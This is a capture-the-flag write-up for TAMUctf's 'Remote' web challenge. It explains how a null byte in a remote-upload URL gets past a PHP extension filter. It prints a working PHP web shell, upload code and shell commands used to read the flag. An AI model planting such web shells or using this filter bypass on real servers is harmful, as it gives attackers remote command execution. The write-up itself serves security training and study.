Remote

- name: Remote
- points: 454
- categories
  - web
- attachments
  - `remote.zip`

solution

Host a server serving the following content:

```
<?php
if (isset($_REQUEST['command'])) {
  $command = $_REQUEST['command'];
  system($command);
}
?>
```

It is simply the standard PHP web shell. The server URL should end with a `.php` file extension.

Register for an account and login in a browser. Grab the `PHPSESSID` cookie. Using the `PHPSESSID` cookie, upload an image using the following Python code:

```
from requests import post
with post(
    "https://remote.tamuctf.com/index.php",
    cookies={
        "PHPSESSID": "(your PHPSESSID)",
    },
    data={
        "url": "(the URL pointing to your PHP web shell, with `php` replaced
by `p\x00hp`)",
    },
) as req:
    print(req.url)
```

Submit the request.

Now, if you go to your browser and look at the webpage, there should be a broken file. Inspect the HTML and find its location. Now, we can use the web shell.

Since the description mentions that the flag is in `/var/www` (actually, the flag location changed at least once during the challenge, probably because people are messing with the flag using their web shells), we will list the directory of `/var/www` first. Example URL: `https://remote.tamuctf.com/uploads/076e1af51b5e3fbc74f525b3baa5f459/8zb1koqwpl5mo2qihbe2btfgaknrj5v2.php?command=ls%20/var/www` (for reference). Afterwards, we should find the flag file. `cat` the file: `https://remote.tamuctf.com/uploads/076e1af51b5e3fbc74f525b3baa5f459/8zb1koqwpl5mo2qihbe2btfgaknrj5v2.php?command=cat%20/var/www/flag-de88df3ebf2f0c4bf871ddfb2e0fcce4.txt` (for reference). Finally, the flag is `gigem{new_features_means_new_opportunities}`.

process

The webpage is an image uploader. After uploading the image, you can see the uploaded images.

Let's look into the source in `remote/src/`. We can find `bulletproof.php` and `index.php`. The `bulletproof.php` file seems bulletproof (pun intended), after checking whether it is not modified from the original source: https://github.com/samayo/bulletproof/releases/tag/v4.0.0. It is unlikely we will find an exploit there (or if there is, very difficult). Instead, we turn to `index.php`.

We will only consider POST requests since it is the only place where we have user inputs. For POST, there are two ways to input stuff: uploading a file directly or uploading a file via a URL. Uploading a file does not seem exploitable, as it simply uses the `Bulletproof\Image` class. The other function would probably yield something...

For PHP upload challenges, generally we usually want to somehow upload an arbitrary with `.php` extension to the server and execute it. Looking into the URL upload, it filters the URL and detect code URLs, sanitize it, and then validate it. Then the file extension is directly extracted from the URL (i.e. whatever extension the URL has).

```
if(!preg_match("/(htm)|(php)|(js)|(css)/", $_REQUEST['url'])) {
  $url = filter_var($_REQUEST['url'], FILTER_SANITIZE_URL);
  if(filter_var($url, FILTER_VALIDATE_URL)) {
    $img = file_get_contents($url);
    if($img !== false) {
      $mime = substr($url, strrpos($url, '.') + 1);
      $file = random_filename(32, 'uploads/' . $sess, $mime);

      $f = fopen('uploads/' . $sess . '/' . $file, "wb");
```

At first, it looks like we cannot upload a PHP file, because if there is `php` in the URL, then it fails. However, because it filters the URL *before* sanitizing the URL, we can construct a URL such that it does not contain `php`, but after sanitization, contains `php`. Then, the filter is

bypassed. Considering that `FILTER_SANITIZE_URL` filters out control characters, inputting a URL with control characters work: `http://example.com/file.p\x00hp`, which gets sanitized to `http://example.com/file.php`. Then we would have uploaded a PHP file to the server.

Now, one problem is whether we know where the PHP file is. It turns out we do, because the server webpage lists all uploaded images (and non-image files).

Then the rest is uploading a web shell and getting the flag, as outlined in § solution. It is not too difficult, but in the actual challenge, you can probably see other people messing with other server files (hopefully not the flag file).